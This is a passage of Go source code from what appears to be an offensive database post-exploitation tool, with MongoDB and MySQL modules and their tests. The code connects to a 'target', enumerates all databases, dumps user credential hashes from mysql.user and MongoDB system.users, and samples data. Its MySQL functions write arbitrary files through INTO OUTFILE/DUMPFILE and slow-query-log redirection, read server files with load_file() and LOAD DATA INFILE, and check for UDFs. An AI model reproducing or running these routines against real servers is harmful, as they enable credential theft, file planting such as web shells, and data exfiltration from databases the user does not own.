optionName { 41 | case Sort: 42 | if optionDesc == "" { 43 | return options.FindOne(), nil 44 | } 45 | var sortDesc bson.M 46 | if err := json.Unmarshal([]byte(optionDesc), &sortDesc); err != nil { 47 | return nil, err 48 | } 49 | return options.FindOne().SetSort(sortDesc), nil 50 | } 51 | return nil, fmt.Errorf("can not find the FindOneOption: %s, available options: [%s]", optionName, 52 | strings.Join([]string{Sort}, ",")) 53 | } 54 | -------------------------------------------------------------------------------- /core/mongo/util.go: -------------------------------------------------------------------------------- 1 | package mongo 2 | 3 | import ( 4 | "errors" 5 | ) 6 | 7 | func findCloseBrackets(content string) (int, error) { 8 | stack := make([]rune, 0) 9 | 10 | if len(content) < 2 || content[0] != '(' { 11 | return -1, errors.New("content is not viald") 12 | } 13 | stack = append(stack, '(') 14 | 15 | for i := 1; i < len(content); i++ { 16 | c := content[i] 17 | top := stack[len(stack)-1] 18 | switch c { 19 | case '"': 20 | if top == '"' { 21 | stack = stack[:len(stack)-1] 22 | } else if top != '\'' { 23 | stack = append(stack, '"') 24 | } 25 | case '\'': 26 | if top == '\'' { 27 | stack = stack[:len(stack)-1] 28 | } else if top != '"' { 29 | stack = append(stack, '\'') 30 | } 31 | case '(': 32 | if top != '"' && top != '\'' { 33 | stack = append(stack, '(') 34 | } 35 | case ')': 36 | if top == '(' { 37 | stack = stack[:len(stack)-1] 38 | } 39 | case '\\': 40 | i++ 41 | } 42 | if len(stack) == 0 { 43 | return i, nil 44 | } 45 | } 46 | return -1, errors.New("can't find") 47 | 48 | } 49 | -------------------------------------------------------------------------------- /core/mongo/util_test.go: -------------------------------------------------------------------------------- 1 | package mongo 2 | 3 | import ( 4 | "davinci/common" 5 | "fmt" 6 | "testing" 7 | ) 8 | 9 | func TestFindCloseBrackets(t *testing.T) { 10 | cmd := "({\"name\":'\"菜鸟教程\\\"123\"456'}).sort({\"_id\":-1}).limit(2)" 11 | fmt.Println(cmd) 12 | end, err := findCloseBrackets(cmd) 13 | if err != nil { 14 | fmt.Println(err) 15 | } else { 16 | fmt.Println(end) 17 | fmt.Println(cmd[:end+1]) 18 | } 19 | } 20 | 21 | func TestSplitNotInStr(t *testing.T) { 22 | content := "({\"name\":{\"$regex\":\"菜鸟.*\"}}).limit(1)" 23 | array := common.SplitCmd(content, '.') 24 | fmt.Println(array) 25 | fmt.Println(len(array)) 26 | } 27 | -------------------------------------------------------------------------------- /core/mongodb.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "context" 5 | "davinci/common" 6 | "davinci/common/log" 7 | mongoutil "davinci/core/mongo" 8 | "encoding/json" 9 | "fmt" 10 | "github.com/c-bata/go-prompt" 11 | "github.com/siddontang/go/bson" 12 | "go.mongodb.org/mongo-driver/mongo" 13 | "go.mongodb.org/mongo-driver/mongo/options" 14 | "strconv" 15 | "strings" 16 | "time" 17 | ) 18 | 19 | var excludeMongoDB = []string{ 20 | "admin", 21 | "local", 22 | "config", 23 | } 24 | 25 | type MongoDb struct { 26 | conn *mongo.Client 27 | Host string 28 | Port int 29 | User string 30 | Passwd string 31 | DbName string 32 | Cmd string 33 | context context.Context 34 | } 35 | 36 | func (m *MongoDb) connect() error { 37 | var err error 38 | if m.conn == nil { 39 | log.Info("connecting target...") 40 | m.context = context.Background() 41 | var dataSrc string 42 | if m.User == "" || m.Passwd == "" { 43 | dataSrc = fmt.Sprintf(fmt.Sprintf("mongodb://%s:%d/", m.Host, m.Port)) 44 | } else { 45 | dataSrc = fmt.Sprintf("mongodb://%s:%s@%s:%d/", m.User, m.Passwd, m.Host, m.Port) 46 | } 47 | if m.conn, err = mongo.Connect(m.context, options.Client().ApplyURI(dataSrc).SetConnectTimeout(5*time.Second)); err != nil { 48 | log.Error(err) 49 | } else if err = m.conn.Ping(m.context, nil); err != nil { 50 | log.Error(err) 51 | } 52 | } 53 | return err 54 | } 55 | 56 | func (m *MongoDb) Close() { 57 | if m.conn != nil { 58 | m.conn.Disconnect(m.context) 59 | m.conn = nil 60 | } 61 | } 62 | 63 | func (m *MongoDb) ExecuteOnce() { 64 | if m.connect() != nil { 65 | return 66 | } 67 | result := m.execute(m.Cmd) 68 | log.Output(result) 69 | if _, ok := result.(error); ok { 70 | help() 71 | } 72 | } 73 | 74 | func (m *MongoDb) AutoGather() { 75 | if m.connect() != nil { 76 | return 77 | } 78 | log.Output(m.getVersion()) 79 | log.Output(m.getUsers()) 80 | databases := m.getDatabases() 81 | log.Output(databases) 82 | log.Info(fmt.Sprintf("exclude databbase(built-in): %s", strings.Join(excludeMongoDB, ","))) 83 | for _, database := range common.GetColumnData(databases, 0) { 84 | if common.Contains(excludeMongoDB, strings.ToLower(database)) { 85 | continue 86 | } 87 | collections := m.getTables(database) 88 | log.Output(collections) 89 | for _, collection := range collections[1:] { 90 | dataSum := m.getSumDocuments(database, collection) 91 | log.Output(dataSum) 92 | datas := m.getFirst5Docs(database, collection) 93 | log.Output(datas) 94 | } 95 | } 96 | } 97 | 98 | func (m *MongoDb) Shell() { 99 | if m.connect() != nil { 100 | return 101 | } 102 | pmt := prompt.New(func(in string) {}, 103 | func(document prompt.Document) []prompt.Suggest { 104 | return []prompt.Suggest{ 105 | prompt.Suggest{Text: "show {something}", Description: "show some resource info"}, 106 | prompt.Suggest{Text: "use {db_name}", Description: "set current database"}, 107 | prompt.Suggest{Text: "db", Description: "db action"}, 108 | prompt.Suggest{Text: "version", Description: "show version"}, 109 | prompt.Suggest{Text: "exit", Description: "exit shell"}, 110 | prompt.Suggest{Text: "help", Description: "help info"}, 111 | } 112 | }) 113 | 114 | for { 115 | in := strings.Trim(pmt.Input(), " ") 116 | if in == "" { 117 | continue 118 | } 119 | if strings.EqualFold(in, "exit") || strings.EqualFold(in, "exit()") { 120 | break 121 | } else { 122 | result := m.execute(in) 123 | if result != nil { 124 | log.Output(result) 125 | if _, ok := result.(error); ok { 126 | help() 127 | } 128 | } 129 | } 130 | 131 | } 132 | } 133 | 134 | func (m *MongoDb) SetHost(host string) { 135 | m.Host = host 136 | } 137 | func (m *MongoDb) SetPort(port int) { 138 | m.Port = port 139 | } 140 | 141 | func (m *MongoDb) SetCmd(cmd string) { 142 | m.Cmd = cmd 143 | } 144 | 145 | func (m *MongoDb) execute(in string) (result interface{}) { 146 | for strings.HasSuffix(in, ";") { 147 | in = in[:len(in)-1] 148 | } 149 | if strings.EqualFold(in, "help") { 150 | help() 151 | } else if strings.EqualFold(in, "db") { 152 | result = []string{"result", m.DbName} 153 | } else if strings.EqualFold(in, "version") { 154 | result = m.getVersion() 155 | } else if strings.HasPrefix(in, "show ") { 156 | resource := strings.Trim(in[5:], " ") 157 | switch resource { 158 | case "databases", "dbs": 159 | result = m.getDatabases() 160 | case "collections", "tables": 161 | result = m.getTables(m.DbName) 162 | case "users": 163 | result = m.getUsers() 164 | default: 165 | result = "not define: " + resource 166 | } 167 | } else if strings.HasPrefix(in, "use ") { 168 | db := strings.Trim(in[4:], " ") 169 | m.DbName = db 170 | result = "current database : " + m.DbName 171 | } else { 172 | action := mongoutil.ParseActionCmd(in) 173 | switch action.(type) { 174 | case *mongoutil.ActionCmd: 175 | actionCmd := action.(*mongoutil.ActionCmd) 176 | switch actionCmd.Action.(type) { 177 | case *mongoutil.SizeAction: 178 | sizeAction := actionCmd.Action.(*mongoutil.SizeAction) 179 | result = m.size(actionCmd.Db, actionCmd.Collection, sizeAction.Filter, sizeAction.Opts...) 180 | case *mongoutil.FindAction: 181 | findAction := actionCmd.Action.(*mongoutil.FindAction) 182 | result = m.find(actionCmd.Db, actionCmd.Collection, findAction.Filter, findAction.Opts...) 183 | case *mongoutil.FindOneAction: 184 | findOneAction := actionCmd.Action.(*mongoutil.FindOneAction) 185 | result = m.findOne(actionCmd.Db, actionCmd.Collection, findOneAction.Filter, findOneAction.Opts...) 186 | default: 187 | result = fmt.Errorf("the command cannot be parsed") 188 | } 189 | case error: 190 | result = action 191 | default: 192 | result = fmt.Errorf("the command cannot be parsed") 193 | } 194 | } 195 | return 196 | } 197 | 198 | func help() { 199 | info := "customize mongodb shell,support special mongo command use for info gather\n" 200 | info += "show {something} 'show databases'/'show dbs': Print a list of all available databases.\n" 201 | info += " 'show collections'/'show tables': Print a list of all collections for current database.\n" 202 | info += " 'show users': Print a list of all users for current database.\n" 203 | info += "use {db_name} set current database\n" 204 | info += "db get current database\n" 205 | info += "db.{col_name}.find() mongsh find command,support sort,limit and size options\n" 206 | info += " e.g. db.mycol.find()\n" 207 | info += " e.g. db.mycol.find().size()\n" 208 | info += " e.g. db.mycol.find({\"field_name\":{\"$regex\": \"my_regex\"}})\n" 209 | info += " e.g. db.mycol.find().limit(5)\n" 210 | info += " e.g. db.mycol.find().sort({\"_id\":-1}).limit(5)\n" 211 | info += "db.{col_name}.findOne() mongsh findOne command,support sort options\n" 212 | info += " e.g. db.mycol.findOne()\n" 213 | info += " e.g. db.mycol.findOne({\"field_name\":{\"$regex\": \"my_regex\"}})\n" 214 | info += " e.g. db.mycol.findOne().sort({\"_id\":-1})\n" 215 | info += "version mongodb version\n" 216 | info += "help help info\n" 217 | info += "exit exit shell\n" 218 | fmt.Println(info) 219 | } 220 | 221 | func (m *MongoDb) currentDatabaseCur() *mongo.Database { 222 | return m.conn.Database(m.DbName) 223 | } 224 | 225 | func (m *MongoDb) setCurrentDatabase(dbName string) { 226 | m.DbName = dbName 227 | } 228 | 229 | func (m *MongoDb) getDatabaseCur(dbName string) *mongo.Database { 230 | return m.conn.Database(dbName) 231 | } 232 | 233 | func (m *MongoDb) getDatabases() [][]string { 234 | m.connect() 235 | log.Info("get databases: ") 236 | if listDatabasesResult, err := m.conn.ListDatabases(m.context, bson.M{}); err != nil { 237 | log.Error(err) 238 | return nil 239 | } else { 240 | var result = [][]string{{"name", "size"}} 241 | for _, database := range listDatabasesResult.Databases { 242 | name := database.Name 243 | size := float64(database.SizeOnDisk) / float64(1024) 244 | result = append(result, []string{name, strconv.FormatFloat(size, 'f', 2, 64) + "kb"}) 245 | } 246 | return result 247 | } 248 | } 249 | 250 | func (m *MongoDb) getTables(dbName string) []string { 251 | m.connect() 252 | db := m.getDatabaseCur(dbName) 253 | log.Info(fmt.Sprintf("get collections: [%s]", dbName)) 254 | if tables, err := db.ListCollectionNames(m.context, bson.M{}); err != nil { 255 | log.Error(err) 256 | return nil 257 | } else { 258 | var result = []string{"name"} 259 | for _, table := range tables { 260 | result = append(result, table) 261 | } 262 | return result 263 | } 264 | } 265 | 266 | func (m *MongoDb) getSumDocuments(dbName, tbName string) []string { 267 | log.Info(fmt.Sprintf("get documents size [%s]", tbName)) 268 | return m.size(dbName, tbName, bson.M{}, []*options.FindOptions{}...) 269 | } 270 | 271 | func (m *MongoDb) size(dbName, tbName string, filter bson.M, opts ...*options.FindOptions) []string { 272 | if dbName == "" { 273 | dbName = m.DbName 274 | } 275 | cur := m.conn.Database(dbName).Collection(tbName) 276 | if res, err := cur.Find(m.context, filter, opts...); err != nil { 277 | log.Error(err) 278 | return nil 279 | } else { 280 | defer res.Close(m.context) 281 | var result = []string{"size", strconv.Itoa(res.RemainingBatchLength())} 282 | return result 283 | } 284 | } 285 | 286 | func (m *MongoDb) findOne(dbName, tbName string, filter bson.M, opts ...*options.FindOneOptions) []string { 287 | if dbName == "" { 288 | dbName = m.DbName 289 | } 290 | cur := m.conn.Database(dbName).Collection(tbName) 291 | singleResult := cur.FindOne(m.context, filter, opts...) 292 | if result, err := singleResult.Raw(); err != nil { 293 | log.Error(err) 294 | return nil 295 | } else { 296 | return []string{"result", result.String()} 297 | } 298 | } 299 | 300 | func (m *MongoDb) find(dbName, tbName string, filter bson.M, opts ...*options.FindOptions) []string { 301 | if dbName == "" { 302 | dbName = m.DbName 303 | } 304 | res := m.conn.Database(dbName).Collection(tbName) 305 | if cur, err := res.Find(m.context, filter, opts...); err != nil { 306 | log.Error(err) 307 | return nil 308 | } else { 309 | defer cur.Close(m.context) 310 | var result = []string{"result"} 311 | result = append(result, m.getDocuments(cur)...) 312 | return result 313 | } 314 | } 315 | 316 | func (m *MongoDb) getDocuments(cur *mongo.Cursor) []string { 317 | defer cur.Close(m.context) 318 | defer cur.Close(m.context) 319 | var result = []string{} 320 | for cur.Next(m.context) { 321 | var document bson.M 322 | if err := cur.Decode(&document); err != nil { 323 | log.Error(err) 324 | } else { 325 | jsonBytes, _ := json.Marshal(document) 326 | result = append(result, string(jsonBytes)) 327 | } 328 | } 329 | return result 330 | } 331 | 332 | func (m *MongoDb) getFirst5Docs(dbName, tbName string) []string { 333 | log.Info(fmt.Sprintf("get first 5 documents [%s]", tbName)) 334 | limit := int64(5) 335 | return m.find(dbName, tbName, bson.M{}, &options.FindOptions{ 336 | Limit: &limit, 337 | }) 338 | } 339 | 340 | func (m *MongoDb) getUsers() []string { 341 | log.Info(fmt.Sprintf("get users")) 342 | res := m.conn.Database("admin").Collection("system.users") 343 | //return m.find("admin", "system.users", bson.M{}, nil) 344 | if cur, err := res.Find(m.context, bson.M{}); err != nil { 345 | log.Error(err) 346 | return nil 347 | } else { 348 | defer cur.Close(m.context) 349 | var result = []string{"user"} 350 | result = append(result, m.getDocuments(cur)...) 351 | return result 352 | } 353 | } 354 | 355 | func (m *MongoDb) getVersion() []string { 356 | log.Info("get version") 357 | db := m.conn.Database("test") 358 | var result = []string{"version"} 359 | var document bson.M 360 | var command = bson.M{} 361 | command["buildInfo"] = 1 362 | if err := db.RunCommand(m.context, command).Decode(&document); err != nil { 363 | log.Error(err) 364 | } else { 365 | if version, ok := document["version"]; ok { 366 | result = append(result, version.(string)) 367 | } 368 | 369 | } 370 | return result 371 | } 372 | 373 | //func (m *MongoDb) eval(dbName, cmd string) []string { 374 | // fmt.Println(fmt.Sprintf("[info] use eval command to execute javascript (eval command remove before mongodb 4.0)")) 375 | // db := m.conn.Database(dbName) 376 | // var result = []string{} 377 | // var document bson.M 378 | // var command = bson.M{} 379 | // command["eval"] = cmd 380 | // ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) 381 | // defer cancel() 382 | // if err := db.RunCommand(ctx, command).Decode(&document); err != nil { 383 | // fmt.Println(err) 384 | // } else { 385 | // jsonBytes, _ := json.Marshal(document) 386 | // result = append(result, string(jsonBytes)) 387 | // } 388 | // return result 389 | //} 390 | -------------------------------------------------------------------------------- /core/mongodb_test.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "davinci/common/log" 5 | mongo2 "davinci/core/mongo" 6 | "encoding/json" 7 | "fmt" 8 | "github.com/siddontang/go/bson" 9 | "reflect" 10 | "runtime/debug" 11 | "testing" 12 | ) 13 | 14 | func TestName(t *testing.T) { 15 | mongo := &MongoDb{ 16 | Host: "192.168.159.135", 17 | Port: 27017, 18 | User: "", 19 | Passwd: "", 20 | DbName: "", 21 | Cmd: "", 22 | } 23 | defer mongo.Close() 24 | //mongo.execute("") 25 | databases := mongo.getDatabases() 26 | log.Output(databases) 27 | tables := mongo.getTables("admin") 28 | log.Output(tables) 29 | sums := mongo.getSumDocuments("runoob", "runoob") 30 | log.Output(sums) 31 | singleResult := mongo.findOne("qqqqq", "runoob", bson.M{}) 32 | log.Output(singleResult) 33 | users := mongo.getUsers() 34 | log.Output(users) 35 | datas := mongo.getFirst5Docs("runoob", "runoob") 36 | log.Output(datas) 37 | //finddatas := mongo.find("runoob", "runoob", bson.M{"name": bson.M{"$regex": "菜鸟.*"}}) 38 | var filter bson.M 39 | err := json.Unmarshal([]byte("{\"$or\":[{\"name\": \"菜鸟教程\"}, {\"title\": \"MongoDB 教程\"}]}"), &filter) 40 | if err != nil { 41 | fmt.Println(err) 42 | } 43 | fmt.Println(filter) 44 | //finddatas := mongo.find("runoob", "runoob", bson.M{"$or": []bson.M{{"name": "菜鸟教程"}, {"title": "MongoDB 教程"}}}) 45 | finddatas := mongo.find("runoob", "runoob", filter) 46 | log.Output(finddatas) 47 | } 48 | 49 | func TestFind(t *testing.T) { 50 | //cmd := "db.runoob.find({\"name\":{\"$regex\":\"菜鸟.*\"}}).sort({\"_id\":-1}).limit(2).sort({\"_id\":1})" 51 | cmd := "runoob.runoob.find()" 52 | actioncmd := mongo2.ParseActionCmd(cmd) 53 | mongo := &MongoDb{ 54 | Host: "192.168.159.135", 55 | Port: 27017, 56 | User: "", 57 | Passwd: "", 58 | DbName: "", 59 | Cmd: "", 60 | } 61 | mongo.getDatabases() 62 | defer mongo.Close() 63 | //action := actioncmd.Action.(*mongo2.FindAction) 64 | switch actioncmd.(type) { 65 | case *mongo2.ActionCmd: 66 | actioncmd2 := actioncmd.(*mongo2.ActionCmd) 67 | action := actioncmd2.Action.(*mongo2.FindAction) 68 | datas := mongo.find(actioncmd2.Db, actioncmd2.Collection, action.Filter, action.Opts...) 69 | log.Output(datas) 70 | case error: 71 | fmt.Println(fmt.Sprintf("error: %v", actioncmd)) 72 | default: 73 | fmt.Println("default") 74 | fmt.Println(reflect.TypeOf(actioncmd)) 75 | fmt.Println(actioncmd) 76 | 77 | } 78 | 79 | } 80 | 81 | func TestFindOne(t *testing.T) { 82 | cmd := "db.runoob.findOne({\"name\":{\"$regex\":\"菜鸟.*\"}}).sort({\"_id\":1}).sort()" 83 | //cmd := "db.runoob.find().sort().sort().limit(2)" 84 | actioncmd := mongo2.ParseActionCmd(cmd) 85 | mongo := &MongoDb{ 86 | Host: "192.168.159.135", 87 | Port: 27017, 88 | User: "", 89 | Passwd: "", 90 | DbName: "", 91 | Cmd: "", 92 | } 93 | mongo.getDatabases() 94 | defer mongo.Close() 95 | switch actioncmd.(type) { 96 | case *mongo2.ActionCmd: 97 | actioncmd2 := actioncmd.(*mongo2.ActionCmd) 98 | action := actioncmd2.Action.(*mongo2.FindOneAction) 99 | datas := mongo.findOne("runoob", actioncmd2.Collection, action.Filter, action.Opts...) 100 | log.Output(datas) 101 | case error: 102 | fmt.Printf("error: %v\n", actioncmd) 103 | fmt.Println(string(debug.Stack())) 104 | default: 105 | fmt.Println("default") 106 | fmt.Println(reflect.TypeOf(actioncmd)) 107 | fmt.Println(actioncmd) 108 | 109 | } 110 | 111 | } 112 | 113 | //func TestEval(t *testing.T) { 114 | // mongo := &MongoDb{ 115 | // Host: "192.168.159.135", 116 | // Port: 27020, 117 | // User: "", 118 | // Passwd: "", 119 | // DbName: "", 120 | // Cmd: "", 121 | // } 122 | // mongo.getDatabases() 123 | // defer mongo.Close() 124 | // cmd := "db.runoob.find();" 125 | // db := "admin" 126 | // result := mongo.eval(db, cmd) 127 | // fmt.Println(result) 128 | //} 129 | 130 | func TestVersion(t *testing.T) { 131 | mongo := &MongoDb{ 132 | Host: "192.168.159.135", 133 | Port: 27020, 134 | User: "", 135 | Passwd: "", 136 | DbName: "", 137 | Cmd: "", 138 | } 139 | mongo.connect() 140 | version := mongo.getVersion() 141 | log.Output(version) 142 | } 143 | -------------------------------------------------------------------------------- /core/mysql.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "davinci/common" 5 | "davinci/common/log" 6 | "davinci/core/mysql" 7 | "fmt" 8 | "github.com/c-bata/go-prompt" 9 | "github.com/go-mysql-org/go-mysql/client" 10 | "strconv" 11 | "strings" 12 | ) 13 | 14 | var excludeMysqlDB = []string{ 15 | "information_schema", 16 | "mysql", 17 | "performance_schema", 18 | "sys", 19 | } 20 | 21 | type Mysql struct { 22 | conn *client.Conn 23 | Host string 24 | Port int 25 | User string 26 | Passwd string 27 | DbName string 28 | Cmd string 29 | } 30 | 31 | func (m *Mysql) connect() error { 32 | var err error 33 | if m.conn == nil { 34 | 35 | addr := fmt.Sprintf("%s:%d", m.Host, m.Port) 36 | log.Info("connecting target...") 37 | if m.conn, err = client.Connect(addr, m.User, m.Passwd, m.DbName); err != nil { 38 | log.Error(err) 39 | } 40 | } 41 | return err 42 | } 43 | 44 | func (m *Mysql) Close() { 45 | if m.conn != nil { 46 | m.conn.Close() 47 | } 48 | } 49 | 50 | func (m *Mysql) ExecuteOnce() { 51 | if m.connect() != nil { 52 | return 53 | } 54 | 55 | result := m.execute(m.Cmd) 56 | log.Output(result) 57 | } 58 | 59 | func (m *Mysql) AutoGather() { 60 | if m.connect() != nil { 61 | return 62 | } 63 | 64 | log.Output(m.getVersion()) 65 | log.Output(m.getUsers()) 66 | databases := m.getDatabases() 67 | log.Output(databases) 68 | log.Info(fmt.Sprintf("exclude databbase(built-in): %s", strings.Join(excludeMysqlDB, ","))) 69 | for _, database := range common.GetColumnData(databases, 0) { 70 | if common.Contains(excludeMysqlDB, strings.ToLower(database)) { 71 | continue 72 | } 73 | tables := m.getTables(database) 74 | log.Output(tables) 75 | for _, table := range common.GetColumnData(tables, 0) { 76 | tableStruct := m.getTableStruct(database, table) 77 | log.Output(tableStruct) 78 | dataSum := m.getSumRows(database, table) 79 | log.Output(dataSum) 80 | datas := m.getFirst5Rows(database, table) 81 | log.Output(datas) 82 | } 83 | } 84 | m.getSecFilePriv() 85 | m.getPluginDir() 86 | } 87 | 88 | func (m *Mysql) Shell() { 89 | 90 | if m.connect() != nil { 91 | return 92 | } 93 | sqlShell(m.execute) 94 | } 95 | 96 | func (m *Mysql) SetHost(host string) { 97 | m.Host = host 98 | } 99 | func (m *Mysql) SetPort(port int) { 100 | m.Port = port 101 | } 102 | 103 | func (m *Mysql) SetCmd(cmd string) { 104 | m.Cmd = cmd 105 | } 106 | 107 | func (m *Mysql) execute(cmd string) (result [][]string) { 108 | if m.conn == nil { 109 | log.Warn("please connect mysql first") 110 | return nil 111 | } 112 | var rowNum int 113 | var columnNum int 114 | defer func() { 115 | err := recover() 116 | if err != nil && err.(error).Error() == "runtime error: invalid memory address or nil pointer dereference" { 117 | result = make([][]string, 0) 118 | } 119 | }() 120 | log.Info("execute sql: " + cmd) 121 | r, err := m.conn.Execute(cmd) 122 | if err != nil { 123 | log.Error(err) 124 | return nil 125 | } 126 | rowNum = r.RowNumber() 127 | columnNum = r.ColumnNumber() 128 | result = make([][]string, rowNum+1) 129 | result[0] = make([]string, columnNum) 130 | for j := 0; j < columnNum; j++ { 131 | result[0][j] = string(r.Fields[j].Name) 132 | } 133 | 134 | for i := 0; i < rowNum; i++ { 135 | result[i+1] = make([]string, columnNum) 136 | for j := 0; j < columnNum; j++ { 137 | val, _ := r.GetString(i, j) 138 | result[i+1][j] = val 139 | } 140 | } 141 | return result 142 | } 143 | 144 | func (m *Mysql) getDatabases() [][]string { 145 | sql := "show databases;" 146 | log.Info("get databases") 147 | return m.execute(sql) 148 | } 149 | 150 | func (m *Mysql) getTables(dbName string) [][]string { 151 | sql := fmt.Sprintf("SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='%s';", dbName) 152 | log.Info(fmt.Sprintf("get tables in %s ", dbName)) 153 | return m.execute(sql) 154 | } 155 | 156 | func (m *Mysql) getColumns(dbName, tbName string) [][]string { 157 | sql := fmt.Sprintf("SELECT COLUMN_NAME,COLUMN_TYPE FROM INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='%s' and TABLE_NAME = '%s';", dbName, tbName) 158 | return m.execute(sql) 159 | } 160 | 161 | func (m *Mysql) getTableStruct(dbName, tbName string) [][]string { 162 | sql := fmt.Sprintf("DESC %s.%s;", dbName, tbName) 163 | log.Info(fmt.Sprintf("get table [%s] struct", tbName)) 164 | return m.execute(sql) 165 | } 166 | 167 | func (m *Mysql) getSumRows(dbName, tbName string) [][]string { 168 | sql := fmt.Sprintf("select TABLE_ROWS FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='%s' and TABLE_NAME='%s';", dbName, tbName) 169 | log.Info(fmt.Sprintf("get total number of rows in table [%s]", tbName)) 170 | return m.execute(sql) 171 | } 172 | 173 | func (m *Mysql) getFirst5Rows(dbName, tbName string) [][]string { 174 | sql := fmt.Sprintf("select * from %s.%s limit 5;", dbName, tbName) 175 | log.Info(fmt.Sprintf("get first 5 rows in table [%s]", tbName)) 176 | return m.execute(sql) 177 | } 178 | 179 | func (m *Mysql) getUsers() [][]string { 180 | data := m.execute("select count(*) from information_schema.columns where table_schema = 'mysql'" + 181 | " and table_name = 'user' and column_name = 'password'") 182 | // 不同版本的密码字段不同 183 | if data != nil { 184 | exist := data[1][0] 185 | var sql string 186 | if exist == "1" { 187 | sql = "select user,host,password from mysql.user;" 188 | } else { 189 | sql = "select user,host,authentication_string from mysql.user;" 190 | } 191 | 192 | log.Info("get users") 193 | return m.execute(sql) 194 | } else { 195 | log.Warn("can't find mysql.user") 196 | return nil 197 | } 198 | } 199 | 200 | func (m *Mysql) getVersion() [][]string { 201 | sql := fmt.Sprintf("select version(),@@version_compile_os,@@version_compile_machine;") 202 | log.Info(fmt.Sprintf("get version")) 203 | return m.execute(sql) 204 | } 205 | 206 | func (m *Mysql) getSecFilePriv() string { 207 | sql := "select @@secure_file_priv" 208 | if result := m.execute(sql); result != nil { 209 | log.Output(result) 210 | return result[1][0] 211 | } else { 212 | log.Warn("get secure_file_priv err") 213 | return "secure_file_priv_err" 214 | } 215 | } 216 | 217 | func (m *Mysql) getPluginDir() string { 218 | sql := "select @@plugin_dir" 219 | if result := m.execute(sql); result != nil { 220 | log.Output(result) 221 | return result[1][0] 222 | } else { 223 | log.Info("get plugin_dir err") 224 | return "plugin_dir_err" 225 | } 226 | } 227 | 228 | func (m *Mysql) WriteFile_by_IntoSql(hex, path string, flag bool) bool { 229 | if m.connect() != nil { 230 | return false 231 | } 232 | var sql string 233 | if !strings.HasPrefix(hex, "0x") { 234 | hex = "0x" + hex 235 | } 236 | if flag { 237 | log.Info("write file by outfile") 238 | sql = fmt.Sprintf("select %s into outfile '%s'", hex, path) 239 | } else { 240 | log.Info("write file by dumpfile") 241 | sql = fmt.Sprintf("select %s into dumpfile '%s'", hex, path) 242 | } 243 | if result := m.execute(sql); result != nil { 244 | log.Info("write success") 245 | return true 246 | } else { 247 | sfp := m.getSecFilePriv() 248 | if sfp == "NULL" { 249 | log.Info("secure_file_priv=null not support write file") 250 | } else { 251 | log.Info("maybe target path is not in secure_file_priv") 252 | } 253 | return false 254 | } 255 | } 256 | 257 | func (m *Mysql) WriteFile_by_SlowQueryLog(content, path string) bool { 258 | if m.connect() != nil { 259 | return false 260 | } 261 | log.Info("write file by slow query log") 262 | sql1 := "show variables like '%slow_query_log%'" 263 | if info := m.execute(sql1); info != nil { 264 | log.Output(info) 265 | slow_query_log := info[1][1] 266 | slow_query_log_file := info[2][1] 267 | time := 11.00 268 | 269 | sql2 := "show global variables like '%long_query_time%'" 270 | if lqtRsp := m.execute(sql2); lqtRsp != nil { 271 | lqt := lqtRsp[1][0] 272 | if longtime, err := strconv.ParseFloat(lqt, 64); err == nil { 273 | time = longtime + 1.00 274 | } 275 | } 276 | 277 | sql3 := "set global slow_query_log=1" 278 | m.execute(sql3) 279 | sql4 := fmt.Sprintf("set global slow_query_log_file='%s'", path) 280 | m.execute(sql4) 281 | sql5 := fmt.Sprintf("select '%s' or sleep(%f);", strings.ReplaceAll(content, "'", "\\'"), time) 282 | result := m.execute(sql5) 283 | log.Output(result) 284 | 285 | sql6 := fmt.Sprintf("set global slow_query_log=%s", slow_query_log) 286 | m.execute(sql6) 287 | sql7 := fmt.Sprintf("set global slow_query_log_file='%s'", slow_query_log_file) 288 | m.execute(sql7) 289 | return true 290 | } else { 291 | log.Warn("get slow_query_log info err") 292 | return false 293 | } 294 | } 295 | 296 | func (m *Mysql) ReadFile_by_LoadData(path string, hex bool) (result string) { 297 | if m.connect() != nil { 298 | return 299 | } 300 | log.Info("[info] load file by load data infile") 301 | sfp := m.getSecFilePriv() 302 | if sfp == "NULL" { 303 | log.Warn("secure_file_priv=null not support write file") 304 | return 305 | } else if sfp == "" || strings.HasPrefix(path, sfp) { 306 | 307 | if m.DbName == "" { 308 | log.Info("not set current db, choose sys") 309 | m.DbName = "sys" 310 | m.execute(fmt.Sprintf("use %s", m.DbName)) 311 | 312 | } 313 | tables := common.GetColumnData(m.getTables(m.DbName), 0) 314 | tableName := common.GetRandomAlapha(10) 315 | for common.Contains(tables, tableName) { 316 | tableName = common.GetRandomAlapha(10) 317 | } 318 | sql1 := fmt.Sprintf("CREATE TABLE %s(FIELDS TEXT);", tableName) 319 | m.execute(sql1) 320 | 321 | sql2 := fmt.Sprintf("load data infile '%s' into table %s FIELDS TERMINATED BY '\\n'", path, tableName) 322 | m.execute(sql2) 323 | 324 | sql3 := fmt.Sprintf("select FIELDS from %s", tableName) 325 | if hex { 326 | sql3 = fmt.Sprintf("select hex(FIELDS) from %s", tableName) 327 | } 328 | res := m.execute(sql3) 329 | result = res[1][0] 330 | 331 | sql4 := fmt.Sprintf("drop table %s", tableName) 332 | m.execute(sql4) 333 | 334 | } else { 335 | log.Warn("load data infile is affected by @@secure_file_priv,can't load file") 336 | } 337 | return 338 | } 339 | 340 | func (m *Mysql) ReadFile_by_LoadFile(path string, hex bool) (result string) { 341 | if m.connect() != nil { 342 | return 343 | } 344 | var sql string 345 | log.Info("load file by loadfile()") 346 | if hex { 347 | sql = fmt.Sprintf("select hex(load_file('%s'));", path) 348 | } else { 349 | sql = fmt.Sprintf("select replace(load_file('%s'),'\\r','\\n');", path) 350 | } 351 | res := m.execute(sql) 352 | result = res[1][0] 353 | if result == "" { 354 | log.Warn("result is empty,may be restricted by secure_file_priv configuration. ") 355 | } 356 | return 357 | } 358 | 359 | func (m *Mysql) udfExist(name string) bool { 360 | var exist = false 361 | 362 | if funcsRsp := m.execute("select name from mysql.func;"); funcsRsp != nil { 363 | funcs := common.GetColumnData(funcsRsp, 0) 364 | for _, funcName := range funcs { 365 | if funcName == name { 366 | log.Info(fmt.Sprintf("udf %s already exist", name)) 367 | exist = true 368 | break 369 | } 370 | } 371 | } 372 | return exist 373 | 